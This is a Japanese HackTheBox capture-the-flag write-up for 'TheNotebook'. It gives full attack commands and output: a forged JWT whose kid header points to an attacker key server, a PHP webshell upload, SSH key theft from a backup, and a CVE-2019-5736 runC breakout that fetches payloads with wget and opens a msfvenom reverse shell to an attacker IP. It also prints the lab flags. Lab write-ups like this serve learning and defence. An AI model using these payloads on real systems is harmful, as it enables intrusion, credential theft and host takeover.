HackTheBox: TheNotebook — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx+Flask)
→
22(SSH)/80(nginx+Flask)
/register で一般アカウント作成
RS256署名JWTがauth Cookieに発行
→
RS256署名JWTがauth Cookieに発行
JWT kid ヘッダー悪用
攻撃者鍵配信サーバへ誘導し admin_cap=1 偽造
→
攻撃者鍵配信サーバへ誘導し admin_cap=1 偽造
Admin Panel到達 → PHP webshellアップロード
curl multipart, 32桁hexファイル名
→
curl multipart, 32桁hexファイル名
/var/backups/home.tar.gz 読取
world-readable、noahのSSH秘密鍵
→
world-readable、noahのSSH秘密鍵
noah SSH
user.txt ✓
→
user.txt ✓
CVE-2019-5736 runC ブレイクアウト
/proc/self/exe 自己参照レース
→
/proc/self/exe 自己参照レース
ホストのrunCバイナリ乗っ取り
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 1000 --max-retries 2 10.129.54.44 nmap -sV -sC -p 22,80 10.129.54.44
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: The Notebook - Your Note Keeper Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PHASE 2
アカウント登録 & 発行されたJWTの構造解析
/register の実フォームフィールド
BASH
curl -s http://10.129.54.44/register | grep -oE '<input[^>]*name="[^"]*"'
RESULT
<input name="username" <input name="password" <input name="email"
BASH (登録)
curl -s -c cookies.txt -X POST http://10.129.54.44/register \ --data-urlencode "username=pwnuser" \ --data-urlencode "password=Pwnpass1#" \ --data-urlencode "email=pwnuser@pwn.htb"
✅
登録に成功すると自動ログインされ、
auth CookieにRS256署名のJWTが
発行される。
JWTのヘッダー/ペイロードをデコード
PYTHON
import jwt
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(header); print(payload)
RESULT
HEADER: {"alg": "RS256", "kid": "...", "typ": "JWT"}
PAYLOAD: {"username": "pwnuser", "email": "pwnuser@pwn.htb", "admin_cap": 0}
🚨
脆弱性の核心: ヘッダーの
kid (Key ID) が
検証鍵の取得元URLとして直接使われている(RFC 7515 kid実装の
典型的な誤り)。ペイロードには admin_cap フラグがあり、これが
1 だと管理者権限が付与される仕組み。
PHASE 3
JWT kid ヘッダー悪用による admin_cap=1 トークン偽造
攻撃者用RSA鍵ペアを生成し配信サーバーを起動
PYTHON
from Crypto.PublicKey import RSA
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading
key = RSA.generate(2048)
privkey_pem = key.exportKey("PEM")
class KeyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(privkey_pem)
httpd = HTTPServer(("0.0.0.0", 8000), KeyHandler)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
# → http://<Kali IP>:8000/private.key で秘密鍵PEMをそのまま配信
自分の秘密鍵で admin_cap=1 のトークンを署名し kid を攻撃者サーバへ
PYTHON
import jwt
token = jwt.encode(
{"username": "admin", "email": "pwnuser@pwn.htb", "admin_cap": 1},
privkey_pem,
algorithm="RS256",
headers={"kid": "http://<Kali IP>:8000/private.key"},
)
⚠️
最初のハマりどころ: ペイロードの
username に
自分が登録した偽アカウント名(例: pwnuser)をそのまま入れると、
後述の /admin や /admin/upload ページで
バックエンドが応答不能になる(下記3-3参照)。username クレームには
実在の “admin” アカウント名を騙る必要がある(email/他フィールドは
任意で構わない)。
つまずきポイント: username を偽の登録名のままにすると管理画面がハングする
NOTE (最初に踏んだ罠)
username="pwnuser"(登録した自分のアカウント名)のままトークンを作ると:
- /admin/viewnotes へのアクセスは admin_cap=1 だけで通る(問題なし)
- しかし /admin (ダッシュボード) や /admin/upload へのアクセスは
サーバ側が応答を返さず、nginxのgatewayタイムアウト(約30秒)経過後に
"502 Bad Gateway" となり、Admin Panel本体・アップロード機能に
一切到達できない。何度リトライしても100%再現し、待機時間を延ばしても
改善しない。
🚨
原因:
/admin・/admin/upload は
JWTの username クレームを使って実在の”admin”アカウントの
付随データ(恐らくファイル一覧やプロフィール等)を参照する実装になっており、
存在しないユーザー名(自分で登録した偽名)を渡すと、その参照処理がバックエンドで
ハング(無限待機かデッドロック)する。/admin/viewnotes は
admin_cap フラグのみを見ており実在ユーザー名を要求しないため
問題なく通っていた ——この挙動の違いに気づかないと「JWT偽造は
成功しているのに管理機能に一切到達できない」という迷路に陥る。
BASH (修正: usernameを”admin”に変更後は即座に成功)
curl -s -b "auth=<偽造トークン>" http://10.129.54.44/admin # → 0.6秒台で200 OK、Admin Panelのダッシュボードが返る
PHASE 4
PHP webshell アップロード RCE & user.txt 取得
つまずきポイント: PythonのrequestsライブラリだとPOSTがハングする
PYTHON (最初に失敗した方法)
files = {"file": ("shell.php", shell_content, "application/x-php")}
r = session.post("http://10.129.54.44/admin/upload", files=files, timeout=20)
# → ReadTimeoutError、最大60秒待っても nginx の "502 Bad Gateway" にしかならない
⚠️
username修正後も、Python requestsライブラリの
files=による
multipart/form-dataアップロードだけは何度試しても100%ハングし
502で終わることを確認した(プレーンなtxtファイルでも同様に失敗、拡張子や
ファイル名は無関係)。原因はrequestsとcurlのmultipartエンコード方式の
微妙な差異(boundary/ヘッダーの組み方)にサーバ側のフォームパーサが
対応できていないためと推測される。
BASH (修正: curlの生のmultipart送信に切り替え)
echo '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>' > shell.php
curl -s -m 20 -b "auth=<偽造トークン>" \
-F "file=@shell.php;type=application/x-php" \
-L http://10.129.54.44/admin/upload
✅
curlでは1秒未満で302リダイレクトが返り、正常にアップロードされる。
つまずきポイント2: 鍵配信サーバーを早く止めすぎるとその後の認証が全滅する
🚨
サーバは
kid の鍵URLをリクエストごとに毎回フェッチし直しており
キャッシュしないらしく、JWT検証確認(/admin/viewnotes)の直後に
攻撃者側の鍵配信HTTPサーバーを停止してしまうと、同じトークンを使い回す
以降のリクエスト(アップロード等)がすべて “Forbidden” になる。
鍵配信サーバーは、偽造トークンを使い切る(アップロード完了)まで生かしたままにする。
アップロード結果からファイル名を取得しRCE確認
RESULT (リダイレクト後の “Your Files” 一覧)
<div class="col-md-8">4cab9c4efd380b87b5b0bbbf51432094.php</div> <div class="col-md-4"><a href="/4cab9c4efd380b87b5b0bbbf51432094.php"> <button>View</button></a></div>
BASH
curl -s "http://10.129.54.44/4cab9c4efd380b87b5b0bbbf51432094.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ℹ️
アップロードされたファイルは32桁16進数名+拡張子維持で
Webルート直下に保存され、直接アクセスするだけで実行できる
(アクセス制御・拡張子検証なし)。
home.tar.gz からnoahのSSH秘密鍵を窃取
BASH
curl -s "http://10.129.54.44/<webshell>.php?cmd=ls+-la+/var/backups/"
RESULT
-rw-r--r-- 1 root root 4373 Feb 17 2021 home.tar.gz
BASH (base64で外部へ持ち出し)
curl -s "http://10.129.54.44/<webshell>.php" \ --data-urlencode "cmd=base64 -w0 /var/backups/home.tar.gz" -G \ | grep -oP '(?<=<pre>).*(?=</pre>)' | base64 -d > home.tar.gz tar -xzf home.tar.gz find . -name id_rsa
RESULT
./home/noah/.ssh/id_rsa
✅
/var/backups/home.tar.gz はworld-readableで、
noahユーザーの.sshディレクトリ丸ごとがアーカイブされている
(バックアップ運用の不備)。
SSHログイン & user.txt 取得
BASH
chmod 600 home/noah/.ssh/id_rsa ssh -i home/noah/.ssh/id_rsa noah@10.129.54.44 "id; cat ~/user.txt"
RESULT
uid=1000(noah) gid=1000(noah) groups=1000(noah) b55a4ac3b9b0c4b7855d0d7911d95992
user.txt — noah@thenotebook
b55a4ac3b9b0c4b7855d0d7911d95992
PHASE 5
CVE-2019-5736 (runC コンテナブレイクアウト) の解析
sudo権限の確認
BASH
noah@thenotebook:~$ sudo -l
RESULT
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
🚨
docker exec -it webapp-dev01* をNOPASSWDで実行できる。
コンテナの Docker version は 18.06.0-ce で、CVE-2019-5736
(runC経由のコンテナブレイクアウト)に脆弱なバージョン。
脆弱性の原理
NOTE
`docker exec` は、対象コンテナの名前空間へ入るために runC バイナリを コンテナ内で(ホストから見て)一時的に実行する。このとき runC プロセス自身は `/proc/self/exe` という自己参照シンボリックリンク経由で自分自身の実行ファイルを 開く。攻撃者がコンテナ内の /bin/bash を #!/proc/self/exe という shebang スクリプトに差し替えておくと、次に誰か(root含む)が `docker exec -it/bin/bash` を実行した瞬間、 "/bin/bash" ではなく実際には /proc/self/exe (= 実行中のrunCプロセス自身の 実行ファイル、つまりホスト上の本物のrunCバイナリ) が開かれる。この オープンされたファイルディスクリプタに対し、コンテナ内から書き込み (O_WRONLY)を行うことで、コンテナの外にあるはずのホストのrunCバイナリ そのものを上書きできてしまう(コンテナの隔離が破れる)。 タイミングが重要な**レースコンディション**であり、以下の手順で狙う: 1. コンテナ内で /bin/bash を上記のshebangスクリプトに差し替える 2. "次に /proc/self/exe が実行される瞬間"を監視するreplace.shを起動しておく 3. 別セッションから改めて `docker exec -it /bin/bash_original` (退避しておいた本物のbash)を実行してrunCを再度動かす 4. replace.shがこの新しいrunCプロセスのPIDを検知し、 /proc/ /exe (=ホストの本物のrunCバイナリ) へ攻撃者の ペイロード(msfvenom製リバースシェルELF)を書き込む 5. 以降、誰かが再度 `docker exec` (=runC起動)すると、 ホスト上で攻撃者のペイロードがroot権限で実行される
ℹ️
公開PoC
twistlock/RunC-CVE-2019-5736 の
exec_POC/ 一式(bash_evil, new_runc,
overwrite_runc, replace.sh)をそのまま利用する。
new_runc だけは msfvenom で自前のリバースシェルELFに置き換える。
PHASE 6
レース実行 → root.txt
msfvenomでペイロード生成 & PoC配信サーバー起動
BASH
git clone https://github.com/twistlock/RunC-CVE-2019-5736 cd RunC-CVE-2019-5736/exec_POC msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=10.10.15.201 LPORT=9999 -f elf -o new_runc python3 -m http.server 8001 --directory .
つまずきポイント: sudoersパターンには “-it” が必須
NOTE (最初に失敗した方法)
ssh noah@target "sudo docker exec webapp-dev01 sh -c '...(PoC配置)...'" # → "sudo: no tty present and no askpass program specified" # (NOPASSWDが適用されずパスワード要求で即失敗)
🚨
sudoersには
/usr/bin/docker exec -it webapp-dev01* としか
登録されておらず、これはコマンドライン文字列の前方一致で
判定される。PoC設置用のセットアップコマンドであっても
必ず “-it” を含めなければNOPASSWDが適用されない。
さらに “-it” を渡すとコンテナ側で疑似端末の割当てが必要になるため、
SSH自体も -tt で疑似端末を割り当てないと
“the input device is not a TTY” で失敗する。
BASH (修正版: セットアップ)
ssh -tt -i noah_id_rsa noah@10.129.54.44 \
"sudo docker exec -it webapp-dev01 sh -c '
cd / &&
for f in bash_evil new_runc overwrite_runc replace.sh; do
wget -q http://10.10.15.201:8001/\$f
done &&
chmod +x replace.sh overwrite_runc bash_evil new_runc &&
mv /bin/bash /bin/bash_original &&
mv /bash_evil /bin/bash &&
/bin/bash_original /replace.sh'" &
sleep 9 # replace.sh が「次のrunC起動」を監視し始めるまで待つ
2回目の docker exec でレースをトリガー
BASH
# 別ターミナルでリスナー起動 nc -lnvp 9999 # レースを発火させる2回目のdocker exec (退避された本物のbashを起動) ssh -tt -i noah_id_rsa noah@10.129.54.44 \ "sudo docker exec -it webapp-dev01 /bin/bash_original"
⚠️
RESULT (nc :9999 リスナー側、レース成立時)
listening on [any] 9999 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.54.44] 59124 $ id uid=0(root) gid=0(root) groups=0(root)
✅
ホストのroot権限奪取に成功。 ホスト上で稼働していた本物の
runCバイナリが、我々のmsfvenomペイロードで完全に上書きされたため、
以降そのホスト上のdocker機能自体が恒久的に使用不能になる
(このマシン固有の、この権限昇格手法の避けられない副作用)。
root.txt 取得
BASH
# root)shell内 $ cat /root/root.txt
RESULT
ba708827a634eae7590831ecbdc88cde
root.txt — root@thenotebook
ba708827a634eae7590831ecbdc88cde
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — noah@thenotebook
b55a4ac3b9b0c4b7855d0d7911d95992
root.txt — root@thenotebook
ba708827a634eae7590831ecbdc88cde
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| JWT kid ヘッダー任意鍵注入 | /register で発行されるRS256 JWT | 認証バイパス・権限昇格(admin_cap偽造) | Critical | kidに攻撃者ホストの鍵URLを指定し、その鍵で署名した偽トークンをサーバに検証させる |
| 任意ファイルアップロードRCE | /admin/upload | リモートコード実行(www-data) | Critical | 拡張子・内容検証なしでPHPファイルを保存、直接アクセスして?cmd=でRCE |
| バックアップのworld-readable公開 | /var/backups/home.tar.gz | SSH秘密鍵の漏洩 | Medium | root所有だが全ユーザー読み取り可能なバックアップにSSH鍵が平文で含まれていた |
| CVE-2019-5736 | Docker 18.06.0-ce (runC) | コンテナブレイクアウト・ホストroot権限奪取 | Critical | /proc/self/exe を悪用しdocker exec実行のたびに再実行されるrunCバイナリ自体を上書き |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap フルポートスキャン | 22/80のみ、Flaskアプリ検出 |
| 2 | 登録・JWT解析 | アカウント登録、JWTデコード | kid/admin_capクレームの存在確認 |
| 3 | JWT偽造 | kidヘッダー任意鍵注入 | admin_cap=1トークン、Admin Panel到達 |
| 4 | RCE・資格情報 | PHPアップロード + バックアップ読取 | user.txt、noahのSSH鍵 |
| 5 | 権限調査 | sudo -l解析、Dockerバージョン確認 | CVE-2019-5736の適用可否確認 |
| 6 | 権限昇格 | runCブレイクアウトレース | root.txt |
| 症状 | 原因 | 修正 |
|---|---|---|
| Admin Panel/アップロードページへのアクセスが毎回nginxの502で失敗 | JWT偽造時、usernameクレームに登録した偽アカウント名をそのまま使っており、実在の”admin”アカウント名でないとバックエンドがハングする実装だった |
usernameクレームを常に文字列”admin”で固定するよう修正 |
| usernameを正しく修正してもアップロードのPOSTだけが毎回ハング/502 | Python requestsライブラリのfiles=multipart送信をサーバ側が正しく処理できず応答を返さなかった |
requestsの代わりにcurlサブプロセスでmultipartアップロードするよう変更 |
| 2つ上を直してもアップロードが”Forbidden”になる | JWT検証確認(viewnotes)の直後に鍵配信HTTPサーバーを停止しており、サーバがkid URLを毎回フェッチし直す実装のため以降のリクエストで鍵取得に失敗していた | 鍵配信サーバーの停止をアップロード完了後まで遅延させるよう変更 |
| Phase4のPoCセットアップコマンドが”no tty present”で即失敗しレースが一切成立しない | sudoersのNOPASSWDパターンがdocker exec -it webapp-dev01*という文字列前方一致であるにもかかわらず、セットアップ用のdocker execコマンドに”-it”を付けていなかった |
セットアップ・トリガー両方のdocker execコマンドに”-it”を追加し、対応するSSH呼び出しにも”-tt”(疑似端末割当て)を追加。あわせてレースが本質的に確率的であることを踏まえ最大5回のリトライループに変更 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
JWTのkidヘッダーをそのまま検証鍵の取得元URLとして信頼している |
kidは事前に登録済みの鍵IDのホワイトリストと照合するだけに留め、任意URLからの鍵取得を許可しない。可能であれば非対称鍵の代わりに対称鍵+固定シークレットや、鍵のピン留め(pinning)を行う。 |
| 管理者用アップロード機能に拡張子・内容の検証が一切ない | アップロード可能な拡張子をホワイトリスト化し、Webルート外の隔離ディレクトリに保存、実行権限を持たせない。可能ならアップロードファイルは静的配信のみとしサーバサイド実行を無効化する。 |
| rootが所有するバックアップファイルがworld-readableでSSH秘密鍵を含む | バックアップの権限を最小化(root:root 600等)し、秘密鍵などの機密情報はバックアップ対象から除外するか暗号化する。 |
| 脆弱なバージョンのDocker/runCを使用 | Docker/runCを CVE-2019-5736 修正済みバージョン(runc >= 1.0-rc7)へアップデートする。加えてrootless Docker やuser namespace remappingを活用し、コンテナブレイクアウトの影響を限定する。 |

